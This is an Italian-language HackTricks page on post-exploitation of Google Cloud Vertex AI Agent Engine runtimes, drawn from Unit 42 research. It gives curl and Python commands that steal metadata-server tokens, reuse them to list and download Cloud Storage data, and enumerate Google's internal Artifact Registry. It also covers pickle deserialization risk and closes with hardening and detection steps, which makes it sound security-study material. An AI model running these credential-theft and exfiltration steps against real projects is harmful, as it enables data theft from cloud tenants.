GCP - Vertex AI Post Exploitation

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

Vertex AI Agent Engine / Reasoning Engine

Questa pagina si concentra sui workload di Vertex AI Agent Engine / Reasoning Engine che eseguono strumenti o codice controllati dall’attaccante all’interno di un runtime gestito da Google.

Per il riepilogo generale di Vertex AI consulta:

GCP - Vertex AI Enum

Per i percorsi classici di Vertex AI privesc che utilizzano custom jobs, models e endpoints consulta:

GCP - Vertex AI Privesc

Perché questo servizio è speciale

Agent Engine introduce un pattern utile ma pericoloso: codice fornito dallo sviluppatore che viene eseguito all’interno di un runtime gestito da Google con un’identità gestita da Google.

I confini di trust rilevanti sono:

  • Consumer project: il tuo progetto e i tuoi dati.
  • Producer project: progetto gestito da Google che opera il servizio backend.
  • Tenant project: progetto gestito da Google dedicato all’istanza dell’agent distribuita.

Secondo la documentazione Vertex AI IAM di Google, le risorse Vertex AI possono utilizzare Vertex AI service agents come identità delle risorse, e quei service agents possono avere accesso in sola lettura a tutte le risorse Cloud Storage e ai dati di BigQuery nel progetto per impostazione predefinita. Se il codice eseguito all’interno di Agent Engine riesce a rubare le credenziali del runtime, quell’accesso predefinito diventa immediatamente interessante.

Percorso principale di abuso

  1. Distribuire o modificare un agent in modo che codice o strumenti controllati dall’attaccante vengano eseguiti all’interno del runtime gestito.
  2. Interrogare il metadata server per recuperare l’identità del progetto, l’identità del service account, gli scope OAuth e i token di accesso.
  3. Riutilizzare il token rubato come Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivottare nel consumer project e leggere i dati di storage a livello di progetto consentiti dal service agent.
  5. Pivottare negli ambienti producer e tenant raggiungibili dalla stessa identità.
  6. Enumerare i pacchetti interni di Artifact Registry ed estrarre artefatti di deployment del tenant come Dockerfile.zip, requirements.txt e code.pkl.

Non si tratta solo di un problema “eseguire codice nel proprio agent”. Il problema chiave è la combinazione di:

  • credenziali accessibili tramite metadata
  • ampie privilegi predefiniti dei service-agent
  • ampi scope OAuth
  • confini di trust multi-progetto nascosti dietro un singolo servizio gestito

Enumerazione

Identify Agent Engine resources

Il formato del nome delle risorse utilizzato da Agent Engine è:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Se hai un token con accesso a Vertex AI, enumera direttamente la Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Controlla i log di deployment perché possono causare il leak di percorsi interni producer di Artifact Registry usati durante il packaging o l’avvio del runtime:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

La ricerca di Unit 42 ha osservato percorsi interni quali:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Furto di credenziali dal runtime tramite metadata

Se puoi eseguire codice all’interno del runtime dell’agent, prima interroga la metadata service:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Campi interessanti includono:

  • identificatori del progetto
  • l’account di servizio / service agent associato
  • gli scope OAuth disponibili al runtime

Quindi richiedi un token per l’identità associata:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Convalida il token e ispeziona gli scopes concessi:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google ha modificato parti del workflow di deployment dell’ADK dopo la pubblicazione della ricerca, quindi gli snippet di deployment esatti potrebbero non corrispondere più all’attuale SDK. Il primitivo importante rimane lo stesso: se codice controllato dall’attaccante viene eseguito all’interno del Agent Engine runtime, le credenziali derivate dai metadata diventano raggiungibili a meno che controlli aggiuntivi non blocchino quel percorso.

Consumer-project pivot: furto di dati del service agent

Una volta rubato il runtime token, verifica l’accesso effettivo del service agent sul consumer project.

La capability di default documentata e rischiosa è un ampio accesso in lettura ai dati del progetto. La ricerca di Unit 42 ha validato specificamente:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Validazione pratica con il token rubato:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Questo trasforma un agente compromesso o maligno in una project-wide storage exfiltration primitive.

Producer-project pivot: accesso interno ad Artifact Registry

La stessa identità rubata può funzionare anche contro le Google-managed producer resources.

Inizia testando gli URI dei repository interni recuperati dai log. Poi enumera i pacchetti con l’Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Se hai solo un raw bearer token, chiama direttamente la REST API:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Questo è prezioso anche se l’accesso in scrittura è bloccato perché espone:

  • nomi delle immagini interne
  • immagini deprecate
  • struttura della supply-chain
  • inventario di package/versioni per ricerche successive

Per ulteriori informazioni su Artifact Registry consulta:

GCP - Artifact Registry Enum

Pivot sul tenant project: recupero degli artifact di deployment

Le distribuzioni di Reasoning Engine lasciano anche interessanti artifact in un tenant project controllato da Google per quell’istanza.

La ricerca di Unit 42 ha trovato:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Usa il token rubato per enumerare lo storage accessibile e cercare artifact di deployment:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Gli artefatti del progetto tenant possono rivelare:

  • nomi di bucket interni
  • riferimenti di image interni
  • assunzioni sul packaging
  • elenchi di dependency
  • serialized agent code

Il blog ha inoltre osservato un riferimento interno come:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Anche quando il bucket ristretto referenziato non è leggibile, quei leaked paths aiutano a mappare l’infrastruttura interna.

code.pkl e RCE condizionale

Se la pipeline di deployment memorizza lo stato eseguibile dell’agent in formato Python pickle, consideralo un obiettivo ad alto rischio.

Il problema immediato è la riservatezza:

  • la deserializzazione offline può esporre la struttura del codice
  • il formato del package leaks dettagli di implementazione

Il problema più grave è la RCE condizionale:

  • se un attaccante può manomettere l’artifact serializzato prima della deserializzazione lato servizio
  • e la pipeline poi carica quel pickle
  • l’esecuzione di codice arbitrario diventa possibile all’interno del runtime gestito

Questo non è un exploit standalone di per sé. È un pericoloso sink di deserializzazione che diventa critico quando combinato con qualsiasi primitive di scrittura dell’artifact o di manomissione della supply-chain.

OAuth scopes e blast radius di Workspace

La risposta dei metadata espone anche le OAuth scopes associate al runtime.

Se questi scopes sono più ampi del minimo necessario, un token rubato può diventare utile contro più di GCP APIs. IAM decide ancora se l’identità è autorizzata, ma scopes ampi aumentano il blast radius e rendono le successive misconfigurazioni più pericolose.

Se trovi scopes relativi a Workspace, verifica se l’identità compromessa ha anche un percorso verso Workspace impersonation o accesso delegato:

GCP <–> Workspace Pivoting

Hardening / detection

Preferire un service account personalizzato anziché l’identità gestita predefinita

La documentazione corrente di Agent Engine supporta la configurazione di un service account personalizzato per l’agent distribuito. Questa è la modalità più pulita per ridurre il blast radius:

  • eliminare la dipendenza dall’agent di servizio predefinito e troppo permissivo
  • concedere solo i permessi minimi richiesti dall’agent
  • rendere l’identità del runtime verificabile e intenzionalmente limitata

Verificare l’accesso effettivo dell’agent di servizio

Ispeziona l’accesso effettivo del service agent di Vertex AI in ogni progetto dove Agent Engine è utilizzato:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Verificare se l’identità associata può leggere:

  • tutti i bucket GCS
  • i dataset di BigQuery
  • i repository di Artifact Registry
  • i secrets o registri interni raggiungibili dai workflow di build/deployment

Tratta il codice dell’agent come esecuzione di codice privilegiato

Qualsiasi tool/funzione eseguita dall’agent dovrebbe essere esaminata come se fosse codice in esecuzione su una VM con accesso ai metadati. In pratica ciò significa:

  • verificare gli strumenti dell’agent per accessi HTTP diretti agli endpoint dei metadati
  • esaminare i log per riferimenti a repository interni pkg.dev e bucket dei tenant
  • esaminare qualsiasi percorso di packaging che memorizzi stato eseguibile come pickle

Riferimenti

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks